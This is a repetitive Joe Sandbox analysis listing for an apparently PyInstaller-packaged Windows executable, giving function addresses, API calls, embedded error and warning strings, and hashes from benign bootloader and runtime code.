Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 0c31251e6cc82c47abebe2306b4fb6df75d7e9a8de90183b667ac336f21b0774
Instruction ID: a248880fead195cb1ab725df0f711a1e996be168116a9ace3cb82bac07519c0c
Opcode Fuzzy Hash: 0c31251e6cc82c47abebe2306b4fb6df75d7e9a8de90183b667ac336f21b0774
Instruction Fuzzy Hash: 2B413862A0865782FA10FB12EC05ABAE294EF44BD4FC445B2EE0D47796DF3CE5068760

Function 00007FF70AEF1470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF70AEF151F
Failed to extract %s: failed to open archive file!, xrefs: 00007FF70AEF149F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF70AEF1518
fseek, xrefs: 00007FF70AEF14E5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF70AEF14DE
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF70AEF15DF
fread, xrefs: 00007FF70AEF15E6

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 5a016122ccacf22d2f40e2f4ad7ae1084c068073363954eaa92016f2cfc1e0a1
Instruction ID: e45dbdb3be9714d06b22e304a62f245d1d097fe5803ca5abcee55ad778157d8c
Opcode Fuzzy Hash: 5a016122ccacf22d2f40e2f4ad7ae1084c068073363954eaa92016f2cfc1e0a1
Instruction Fuzzy Hash: 1D413723A0864786FA10FB21D8426B9E390EF44B94FC446B2EE4D47B95EF3CF5068764

Function 00007FF70AEFEA78 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF70AEFEAD5

Part of subcall function 00007FF70AEFFA2C: __GetUnwindTryBlock.LIBCMT ref: 00007FF70AEFFA6F
Part of subcall function 00007FF70AEFFA2C: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF70AEFFA94

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF70AEFEBAD
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF70AEFEDFB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF70AEFEF08

Strings

csm, xrefs: 00007FF70AEFEBD0
csm, xrefs: 00007FF70AEFEAEF
csm, xrefs: 00007FF70AEFEB56

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction ID: bfec44de1876ea28f3624deee92e70e8bc37a694104285b7e9ee505838002286
Opcode Fuzzy Hash: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction Fuzzy Hash: 9AD16D63A0874286FB20BB25D8423ADA7A0FF45798FD00176EA8D57BA9DF38F441C711

Function 00007FF70AEF2C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF70AEF3706,?,00007FF70AEF3804), ref: 00007FF70AEF2C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF70AEF3706,?,00007FF70AEF3804), ref: 00007FF70AEF2D63
MessageBoxW.USER32 ref: 00007FF70AEF2D99

Strings

<FormatMessageW failed.>, xrefs: 00007FF70AEF2D70
Error, xrefs: 00007FF70AEF2D8C
[PYI-%d:ERROR] , xrefs: 00007FF70AEF2CA6
%ls: , xrefs: 00007FF70AEF2D22

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction ID: 12dc2291aee8245a9d18ffdee8ed57ec0f5cef330ac0c4d765d1565b486e1053
Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction Fuzzy Hash: 9631B323B08A4142F620BB25EC156EAA695FF88798FC14135EF4D93759DF3CE506C710

Function 00007FF70AEFDD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF70AEFDFEA,?,?,?,00007FF70AEFDCDC,?,?,?,00007FF70AEFD8D9), ref: 00007FF70AEFDDBD
GetLastError.KERNEL32(?,?,?,00007FF70AEFDFEA,?,?,?,00007FF70AEFDCDC,?,?,?,00007FF70AEFD8D9), ref: 00007FF70AEFDDCB
LoadLibraryExW.KERNEL32(?,?,?,00007FF70AEFDFEA,?,?,?,00007FF70AEFDCDC,?,?,?,00007FF70AEFD8D9), ref: 00007FF70AEFDDF5
FreeLibrary.KERNEL32(?,?,?,00007FF70AEFDFEA,?,?,?,00007FF70AEFDCDC,?,?,?,00007FF70AEFD8D9), ref: 00007FF70AEFDE63
GetProcAddress.KERNEL32(?,?,?,00007FF70AEFDFEA,?,?,?,00007FF70AEFDCDC,?,?,?,00007FF70AEFD8D9), ref: 00007FF70AEFDE6F

Strings

api-ms-, xrefs: 00007FF70AEFDDDD

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction ID: cc66b3c5d4467c0075645944493140a5e6dad2682cf7b121df0e3f9a2f4c1bff
Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction Fuzzy Hash: 88318B22F1A64281FE22BB02EC41565A794FF58BA4FC94675ED1D46388EF3CE4448224

Function 00007FF70AEF6350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

LoadLibrary, xrefs: 00007FF70AEF649E
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF70AEF63B7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF70AEF63F7
ucrtbase.dll, xrefs: 00007FF70AEF63CD
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF70AEF6446
Failed to load Python DLL '%ls'., xrefs: 00007FF70AEF6497

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction ID: 88587a5671963cb955d4971628a23e56fb313766598f750cfac131ffd9d38267
Opcode Fuzzy Hash: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction Fuzzy Hash: CC413E23A1868791FA15FB21E8562EAA361FF54384FD00172EA5D436D6EF3CF606C760

Function 00007FF70AEF2A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF70AEF351A,?,00000000,00007FF70AEF3F23), ref: 00007FF70AEF2AA0

Strings

0, xrefs: 00007FF70AEF2B16
Warning, xrefs: 00007FF70AEF2B1E
Warning [ANSI Fallback], xrefs: 00007FF70AEF2B0F
[PYI-%d:%s] , xrefs: 00007FF70AEF2AA8
WARNING, xrefs: 00007FF70AEF2AAF

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction ID: 8cdc0f49be2dd7766074a35e68569faeaed3c6dc878683c2af4b61d902c2d542
Opcode Fuzzy Hash: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction Fuzzy Hash: 1A217F33A18B8282F620EB51F8417E6A394FF88784F800176EE8C53759DF3CE6468750

Function 00007FF70AF0B1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF70AF0B1CF
FlsGetValue.KERNEL32 ref: 00007FF70AF0B1E4
FlsSetValue.KERNEL32 ref: 00007FF70AF0B205
FlsSetValue.KERNEL32 ref: 00007FF70AF0B232
FlsSetValue.KERNEL32 ref: 00007FF70AF0B243
FlsSetValue.KERNEL32 ref: 00007FF70AF0B254
SetLastError.KERNEL32 ref: 00007FF70AF0B26F

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a5225a2428ee1ea558fded41feed7619df648b57a5ff038aad9245715dd51944
Instruction ID: 332f2f7501106a782f7626f4e827d6e97407edf2c114301820b3b1ab2a20fe71
Opcode Fuzzy Hash: a5225a2428ee1ea558fded41feed7619df648b57a5ff038aad9245715dd51944
Instruction Fuzzy Hash: E4214C22F0D24685FA69B761DE5193DE2425F447E0F9447B4D93E86AD6DF2CF8418320

Function 00007FF70AF17DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF70AF17E0D
GetLastError.KERNEL32 ref: 00007FF70AF17E19
CloseHandle.KERNEL32 ref: 00007FF70AF17E31
CreateFileW.KERNEL32 ref: 00007FF70AF17E5C
WriteConsoleW.KERNEL32 ref: 00007FF70AF17E7B

Strings

CONOUT$, xrefs: 00007FF70AF17E3D

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction ID: aebd536bef85ee6787254642d746a649452eb8ffc433648ac6e1b80d8c92bece
Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction Fuzzy Hash: C7119D22B18A4186F350AB52EC54329E6A0FF88BF4F904274EA5D877A4DF7CE804CB50

Function 00007FF70AEF8560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF70AEF9216), ref: 00007FF70AEF8592
K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF70AEF9216), ref: 00007FF70AEF85E9

Part of subcall function 00007FF70AEF9400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF70AEF45E4,00000000,00007FF70AEF1985), ref: 00007FF70AEF9439

K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF70AEF9216), ref: 00007FF70AEF8678
K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF70AEF9216), ref: 00007FF70AEF86E4
FreeLibrary.KERNEL32(?,?,00000000,00007FF70AEF9216), ref: 00007FF70AEF86F5
FreeLibrary.KERNEL32(?,?,00000000,00007FF70AEF9216), ref: 00007FF70AEF870A

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction ID: f7ba80ca8781e62366874c789aedbf9145c96c5a1d33406980dc604efaa5add8
Opcode Fuzzy Hash: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction Fuzzy Hash: 8F415C63B1968781FA20BB12ED416AAA394FF84BC4FC50175DE8D97B89DF3CE5058720

Function 00007FF70AF0B338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF70AF04F81,?,?,?,?,00007FF70AF0A4FA,?,?,?,?,00007FF70AF071FF), ref: 00007FF70AF0B347
FlsSetValue.KERNEL32(?,?,?,00007FF70AF04F81,?,?,?,?,00007FF70AF0A4FA,?,?,?,?,00007FF70AF071FF), ref: 00007FF70AF0B37D
FlsSetValue.KERNEL32(?,?,?,00007FF70AF04F81,?,?,?,?,00007FF70AF0A4FA,?,?,?,?,00007FF70AF071FF), ref: 00007FF70AF0B3AA
FlsSetValue.KERNEL32(?,?,?,00007FF70AF04F81,?,?,?,?,00007FF70AF0A4FA,?,?,?,?,00007FF70AF071FF), ref: 00007FF70AF0B3BB
FlsSetValue.KERNEL32(?,?,?,00007FF70AF04F81,?,?,?,?,00007FF70AF0A4FA,?,?,?,?,00007FF70AF071FF), ref: 00007FF70AF0B3CC
SetLastError.KERNEL32(?,?,?,00007FF70AF04F81,?,?,?,?,00007FF70AF0A4FA,?,?,?,?,00007FF70AF071FF), ref: 00007FF70AF0B3E7

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: f3ef772190a77067448dcdc891e93f0fce571c39ad65bd9bbfe034f894ce387b
Instruction ID: 1ff7f6feb3d3f40b8a80747166ce22bd4b0b88237d7025c5fa124f384b9a09e9
Opcode Fuzzy Hash: f3ef772190a77067448dcdc891e93f0fce571c39ad65bd9bbfe034f894ce387b
Instruction Fuzzy Hash: A2112E22B0D64282FA68B761DE5193DE1429F487B0FE447B4E97E867D6DF2CF4018321

Function 00007FF70AEF2910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF70AEF1B6A), ref: 00007FF70AEF295E

Strings

Error [ANSI Fallback], xrefs: 00007FF70AEF29FF
Error, xrefs: 00007FF70AEF2A0E
%s: %s, xrefs: 00007FF70AEF29E8
[PYI-%d:ERROR] , xrefs: 00007FF70AEF2966

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction ID: 194f62f0b776a1e1085f08ae78625cb99e0488608ee2db1e943f145d75b4d112
Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction Fuzzy Hash: C131D323B1868692F720B761EC416E6A294BF887D4FC14172EE8D83795EF3CE5468710

Function 00007FF70AEF2390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF70AEF23C8
DialogBoxIndirectParamW.USER32 ref: 00007FF70AEF248E
DeleteObject.GDI32 ref: 00007FF70AEF24C1
DestroyIcon.USER32 ref: 00007FF70AEF24D3

Strings

Unhandled exception in script, xrefs: 00007FF70AEF23F8

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction ID: 22c78a12bc30a8906687766600572ab6426f8270504b2ba1bbcf261f7f72a8d2
Opcode Fuzzy Hash: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction Fuzzy Hash: AE311C63619A8289FB20FF61EC556F9A360FF88784F940175EA4D87B59DF3CE1058720

Function 00007FF70AEF2B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF70AEF918F,?,00007FF70AEF3C55), ref: 00007FF70AEF2BA0
MessageBoxW.USER32 ref: 00007FF70AEF2C2A

Strings

Warning, xrefs: 00007FF70AEF2C1D
WARNING, xrefs: 00007FF70AEF2BAF
[PYI-%d:%ls] , xrefs: 00007FF70AEF2BA8

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction ID: 9ced47fdc60e486b87ab5ed360c8b5c69843c99d26ab19b72c2ce5bde0344bde
Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction Fuzzy Hash: D0219F63708B4182F620EB14F8457EAB3A4EF88784F804136EA8D97755DF3CE605C710

Function 00007FF70AEF2710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF70AEF1B99), ref: 00007FF70AEF2760

Strings

Error [ANSI Fallback], xrefs: 00007FF70AEF27CF
ERROR, xrefs: 00007FF70AEF276F
Error, xrefs: 00007FF70AEF27DE
[PYI-%d:%s] , xrefs: 00007FF70AEF2768

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction ID: fe99d0e221ee02b96bc3db454a5df5a87a99ed05ba96d71ca1fe15687e6c4f9b
Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
